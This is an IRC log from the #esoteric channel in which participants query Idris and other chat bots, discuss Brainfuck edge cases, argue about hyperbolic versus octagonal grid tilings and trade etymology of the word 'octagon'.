JOIN :#esoteric < 1394862542 819787 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Quit: Leaving < 1394864172 113535 :trout!root@freebsd/developer/variable QUIT :Ping timeout: 255 seconds < 1394866965 284267 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394868239 808298 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the Type 5 < 1394868239 970669 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Num 12Type < 1394868245 120369 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Worth a shot < 1394868419 829892 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :was it, sgeo? or have you now violated your most cherished moral principles < 1394868572 440818 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hey, if Int can be a Type 1 and a Type 2 and a Type 3 and ... why shouldn't something lower down be able to participate? < 1394868635 799120 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :Int can be a Type 2? < 1394868703 43888 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (Vect 2 Type) [Int, Type] < 1394868703 222329 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04[12Int04, 12Type04] : 12Vect 042 12Type < 1394868729 414362 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :That Type in the type signature of that has to be Type 1 < 1394868742 821165 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think < 1394868756 464370 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :this seems kind of dumb. < 1394868995 38133 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :Um, silly question, but if you're on cell 0 in brainfuck, and you do '<', what's the expected behavior? < 1394869314 905032 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :i think it depends on implementation < 1394869345 206988 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :sometimes the tape goes infinitely left, sometimes you get an error, sometimes monkeys fly out your nose, that kinda thing? < 1394869354 299250 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :Good enough. < 1394869707 921285 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 QUIT :Quit: Page closed < 1394869841 450206 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394869940 499259 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394870021 413641 :nisstyre_!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394870424 713380 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394870552 424549 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394870930 753187 :Slereahphone!~slereahph@80.10.161.137 JOIN :#esoteric < 1394871093 172944 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394871215 787136 :Slereahphone!~slereahph@80.10.161.137 QUIT :Ping timeout: 252 seconds < 1394872070 697924 :Slereahphone!~slereahph@80.10.159.106 JOIN :#esoteric < 1394872257 751556 :Tritonio!~Thunderbi@athedsl-18900.home.otenet.gr JOIN :#esoteric < 1394873251 189871 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394873294 736837 :Tritonio!~Thunderbi@athedsl-18900.home.otenet.gr QUIT :Ping timeout: 252 seconds < 1394873462 739148 :Slereahphone_!~slereahph@80.12.100.246 JOIN :#esoteric < 1394873496 763510 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t 'Foo < 1394873498 391588 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :'Foo : 12Type < 1394873525 747204 :Slereahphone!~slereahph@80.10.159.106 QUIT :Ping timeout: 252 seconds < 1394873527 223280 :Slereahphone_!~slereahph@80.12.100.246 NICK :Slereahphone < 1394873527 761285 :Slereahphone!~slereahph@80.12.100.246 QUIT :Client Quit < 1394874054 692973 :mysanthrop!~myname@84.200.43.57 NICK :myname < 1394874268 775792 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394874583 849786 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t Eff < 1394874584 23562 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable Eff < 1394874585 722194 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :aww < 1394874604 977699 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Melvar: Should I assume effects will always be a no-go for idris-ircslave? < 1394874763 395501 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Yay, I'm "Talkative" on StackOverflow < 1394875103 224183 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(I hope that at least requires a space after the paren.) < 1394875108 175112 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Guess so.) < 1394875159 887742 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the ((a : Type) -> a -> a) the < 1394875160 93760 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09the : (13a : 12Type) -> 13a -> 13a < 1394875169 289972 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t o < 1394875169 516916 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable o < 1394875173 460513 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t (.) < 1394875173 757258 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Basics.. : (13b -> 13c) -> (13a -> 13b) -> 13a -> 13c < 1394875173 813324 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Control.Category.. : 12Category 13cat => (13cat 13b 13c) -> (13cat 13a 13b) -> 13cat 13a 13c < 1394875204 598368 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :What's a simple dependently typed function that might fail with . < 1394875305 69295 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :9:15 is the worst time to wake up for an 8:55 train < 1394875340 493179 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( (the . id) Nat 5 < 1394875341 647932 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:12:No such variable a < 1394875367 789093 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( (id . the) Nat 5 < 1394875368 61521 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:12:No such variable a < 1394875372 834413 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::t id . the < 1394875374 125706 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Not in scope: `the' < 1394875376 735315 :Slereahphone!~slereahph@80.12.100.246 JOIN :#esoteric < 1394875378 776637 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t id . the < 1394875379 44892 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):0:0:No such variable a < 1394875385 407190 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t (id .) < 1394875385 669937 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Prelude.Basics.., Control.Category.. < 1394875393 200449 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t (id Prelude.Basics.) < 1394875393 435729 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:8:No such variable Prelude.Basics. < 1394875394 751563 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394875399 454203 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t (id Prelude.Basics..) < 1394875399 733565 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:8:No such variable Prelude.Basics.. < 1394875406 936169 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t (id (Prelude.Basics..)) < 1394875407 116658 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:9:No such variable Prelude.Basics.. < 1394875409 14738 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::/ < 1394875497 108042 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :You and me both < 1394875498 386996 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :))))))))))))))))))))))))))))))))))))))))))))))))))) calculated to balance things for this month, so far. < 1394875519 715185 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :) 1 2 3 + 4 5 6 < 1394875520 340148 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: 5 7 9 < 1394875538 765903 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 252 seconds < 1394875738 226093 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Actually, based on my current set of logs starting from 2009-03, we actually need 19291 extra opening parens, and my "balancing" just made the total situation worse. < 1394875752 66880 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Wonder where all those closing parens come from; there hasn't been *that* much jconn use. < 1394875764 741991 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :how many come from fungot? < 1394875764 963751 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: " i want as much as i loathe how you've manipulated my friends and i are a bit, and if the good. or any room with. simple math dictates the futility of your effort, i have made, it will now go and i will give you my motives and they were not to your liking, would i be carrying our monthly" says that's what my dad, and my time that you are under the empire that has been so deeply disappoi-- < 1394875911 844172 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :olsner: ...actually it's almost all from ":)" and the like... < 1394875936 790372 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :hmm, that makes sense < 1394875964 16430 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :time to start writing (: < 1394876074 755180 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Or just be :( all the time. < 1394876132 488375 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :19291 palindromic parentheses < 1394876907 925037 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :fizzie: :) < 1394876910 997739 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :oh < 1394876916 203972 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i guess that was answered. < 1394877682 575499 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394877766 494616 :mr45!~mr45@cpc27-hudd10-2-0-cust59.4-1.cable.virginm.net JOIN :#esoteric < 1394877828 863713 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394877830 306511 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394878039 426472 :mr45!~mr45@cpc27-hudd10-2-0-cust59.4-1.cable.virginm.net PART :#esoteric < 1394878946 929553 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394880423 715036 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1394881115 846845 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 252 seconds < 1394881246 715002 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394881301 994638 :ggherdov_!sid11402@gateway/web/irccloud.com/x-ikcqlbbbchrlrtpx QUIT :Changing host < 1394881302 51164 :ggherdov_!sid11402@unaffiliated/ggherdov JOIN :#esoteric < 1394881302 51294 :ggherdov_!sid11402@unaffiliated/ggherdov QUIT :Changing host < 1394881302 51364 :ggherdov_!sid11402@gateway/web/irccloud.com/x-ikcqlbbbchrlrtpx JOIN :#esoteric < 1394881340 733303 :ggherdov_!sid11402@gateway/web/irccloud.com/x-ikcqlbbbchrlrtpx NICK :ggherdov < 1394881385 107495 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 252 seconds < 1394881962 985204 :sebbu2!~sebbu@unaffiliated/sebbu NICK :sebbu < 1394883353 488386 :nortti_!nortti@nano.smar.fi NICK :nortti < 1394883792 140253 :password2!~password@197.78.152.2 JOIN :#esoteric < 1394885037 499720 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo, Taneb: It’s “Namespace.(*~)”, the pretty-printer is just still buggy on that bit. < 1394885207 326654 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394885959 784463 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :( :t the < 1394885959 944102 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Basics.the : (13a : 12Type) -> 13a -> 13a < 1394886711 816057 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :( :t the larch < 1394886711 908946 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:8:No such variable larch < 1394887041 652016 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :> 3+3 < 1394887041 761621 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :046 : 12Integer < 1394887042 682803 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 6 < 1394887054 269578 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :idris-ircslave should be configured to not accept > outside of #idris < 1394887199 499623 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394887554 38705 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :It doesn’t have any configuration. At all. < 1394887564 585359 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :( the Integer 3 < 1394887564 640805 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :043 : 12Integer < 1394887620 490566 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( the (Fin 5) 3 < 1394887620 596926 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04fS (04fS (04fS 04fZ)) : 12Fin 045 < 1394887621 394526 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394888228 546259 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :( the (Fin 10) 3 < 1394888228 652519 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04fS (04fS (04fS 04fZ)) : 12Fin 0410 < 1394888241 639853 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :( the (Fin 0) 1 < 1394888241 694803 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394888241 750720 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12IsJust (04Just 13x) < 1394888241 750917 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394888241 751013 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12IsJust (09integerToFin 041 (09fromInteger 040)) < 1394888241 751104 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394889745 129733 :password2!~password@197.78.152.2 QUIT :Ping timeout: 240 seconds < 1394890070 173008 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394890187 181458 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hallo oerjan < 1394890204 993231 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Ave Taneb < 1394890216 672292 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Jafetque < 1394890328 624976 :ion!ion@heh.fi PRIVMSG #esoteric :TIL Nethack, Dungeon Crawl and others are based on octagonal tiles in a hyperbolic space. https://github.com/mhwombat/grid/wiki/Octagonal-tiles < 1394890381 539201 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wat < 1394890437 701533 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: I sort of think the wiki should have full specs when possible < 1394890441 999600 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :for archive purposes < 1394890517 617437 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I agree < 1394890634 825079 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ion: um i am quite suspicious that the connection graphs are the same. < 1394890669 290452 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :ion: still can't beat the projective 3D goban < 1394890672 878111 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :like because hyperbolic tilings usually grow exponentially by level, iirc < 1394890854 759676 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Well, they become the same if you merge a few to save space (Haskell is after all very bad with memory and we should help it out whenever possible) < 1394890870 298980 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :OKAY < 1394890999 252471 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yep, not the same as https://en.wikipedia.org/wiki/File:Uniform_tiling_83-t0.png < 1394891034 869053 :ion!ion@heh.fi PRIVMSG #esoteric :If you place a shape, such as a circle or a square, around (0,0) in https://raw.github.com/mhwombat/grid/master/userguide/images/UnboundedOctGrid.png and start growing the shape, the number of tiles its boundaries touch grows more or less like hyperbolic space, no? < 1394891054 188918 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :while a cell has 8 neigbors by both countings, those 9 cells have 16 other neighbors in total with the diagonal stuff, but 32 in the hyperbolic one. < 1394891128 534485 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which i think is a "no" to your question. < 1394891171 719784 :ion!ion@heh.fi PRIVMSG #esoteric :ok < 1394891193 585268 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :basically, the moore neighborhood "disks" grow linearly sized boundaries, not exponential < 1394891331 953794 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :http://programmers.stackexchange.com/questions/81624/how-do-computers-work < 1394891361 695120 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :in fact that hyperbolic picture gets a little hard to read at the next step, but i _think_ it quadruples every new distance. < 1394891400 455536 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well logically it should, since it's uniform. < 1394891440 18161 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :"Another distinctive property is the amount of space covered by the n-ball in hyperbolic n-space: it increases exponentially with respect to the radius of the ball, rather than polynomially." < 1394891476 699290 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Jafet: don't post that kind of link after a reading binge of creepy and horror stories. I am now scared post-shitless. < 1394891481 53842 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm wait that's not true, some of them have only 3. < 1394891530 40698 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :boily: http://stackoverflow.com/a/1732454 < 1394891538 370176 :variable!root@freebsd/developer/variable JOIN :#esoteric < 1394891574 627377 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Jafet: ah, a classic! I always keep a copy of that one on every machine I own :D < 1394891588 11630 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(reminds me to copy it to my newest acquisition) < 1394891604 393161 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The text near the end is actually an amazing test for font rendering < 1394891638 158226 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394891718 388365 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :oerjan: the border of the image is so tattered that it puts the accuracy of the diagram into question < 1394891731 594828 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose < 1394891825 793838 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but i think it's actually meant to be varying for two types of octagons at distance 2, according to whether they themselves bound 1 or 2 at distance 1. < 1394891878 445386 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1394891884 566332 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :TIL: it's en:octagon, but fr:octogon. < 1394891888 261481 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the former have 3 exclusive neigbors and 2 more shared on each side, the latter have 2 and 2. < 1394891894 789248 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :s/n\./ne./ < 1394892291 871617 :Slereah_!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1394892305 423854 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm apparently it's oktogon in norwegian. < 1394892312 415993 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394892412 210112 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :hu < 1394892472 318274 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Du latin octogonos, lui-même issu du grec ancien ὀκτώ, oktô (« huit ») et γωνία, gônia (« angle »). < 1394892492 921982 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suspect the latins latinized the vowel a bit. < 1394892522 431920 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :First attested in 1656, from Latin octagonos, from Ancient Greek οκτάγωνος (oktágōnos, “eight-angled”), from ὀκτώ (octō, “eight”) + γωνία (gōnía, “angle”). < 1394892540 582385 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sometimes. < 1394892566 301299 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ça fait du sens. < 1394892589 493797 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :otoh it's latin "octave" < 1394892598 172372 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which is pure latin afaik. < 1394892645 73102 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(given that it's the common ordinal) < 1394892723 115266 :Slereah_!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1394892734 471445 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: No route to host < 1394892771 273904 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394892772 490297 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394892849 717417 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :but then latin has "octō". < 1394892852 269508 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Latin+ ūnus duo trēs quattuor quinque sex septem octō novem decem < 1394892854 698089 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Greek éna đío tría téssera pénde éksi eftá oxtó ennéa đéka < 1394892889 123149 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's modern greek, the ancient pronunciation was different see table in https://en.wiktionary.org/wiki/%E1%BD%80%CE%BA%CF%84%CF%8E < 1394892913 187424 :variable!root@freebsd/developer/variable QUIT :Ping timeout: 240 seconds < 1394892978 188072 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also http://www.youtube.com/watch?v=YCFXGanTx4A < 1394893190 155644 :password2!~password@197.78.152.2 JOIN :#esoteric < 1394893221 172473 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`relcome password2 < 1394893235 95935 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^welcome password2 < 1394893235 152010 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :password2: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page. (For the other kind of esote ... < 1394893235 207185 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Gregor: IEUAAAAAAAAAAAAAAAAAAARGH! I SHALL MAPOLE YOU! < 1394893247 318669 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fungot: stop being so brief < 1394893247 429135 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: of, for-- what does that do? the guild" only worked because belkar and i are a bit, and if my whole life was just leading to one big anticlimax? < 1394893272 594723 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: but that clip only has one two three four. what about the Pronunciation of Eight? < 1394893289 106536 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(btw, nice fungotrick.) < 1394893289 267343 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: good, good. my partner and i were to be connected to anything especialy scandalous. tell him that i said this is where that king guy is as you say that, i thought that the surname came first in feudal deal there and get started, just put my " thank my lord only gave you the really bad, belkar < 1394893300 470149 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: i am pretty sure at one point in the movie she shouts "oktogonta!" < 1394893318 163924 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(when haggling over their rent) < 1394893355 522249 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or possibly oxtogonta. < 1394893413 208860 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I need to spend more time watching old movies. < 1394893483 93197 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well it's been a while since i saw it. < 1394893491 105428 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394893594 347545 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :trhellomp. < 1394893598 965669 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1394893609 531910 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Gregor: thanks! < 1394893624 355986 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`thanks Gregor < 1394893626 235429 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394893632 63940 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`thank Gregor < 1394893632 549858 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394893634 849464 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :... < 1394893656 38759 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`? canada < 1394893656 565900 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394893701 633934 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION suspects foul < 1394893714 791886 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :oerjan: ‘x’ indicating what there? < 1394893719 159284 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :oh, so tesseract means four-something, finally makes sense < 1394893755 417012 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: the ipa sound, i guess? < 1394893789 432764 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :` < 1394893789 924871 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394893795 693922 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :``` < 1394893796 267622 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394893809 436543 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I think a little mapoling is in order at this point. < 1394893811 654889 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`you're not really HackEgo are you. since when do you join from an unnamed ip. < 1394893812 126183 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394893839 618542 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION artfully, tesseratically swings his mapole over at Gracenotes < 1394893844 185826 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Okay. Just checking, ‘χ’ versus ‘ξ’ and stuff. < 1394893847 762624 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :s/Gracenotes/Gregor/ < 1394893865 475246 :password2!~password@197.78.152.2 PRIVMSG #esoteric :oh hai < 1394893873 171894 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: see the historical pronunciations at 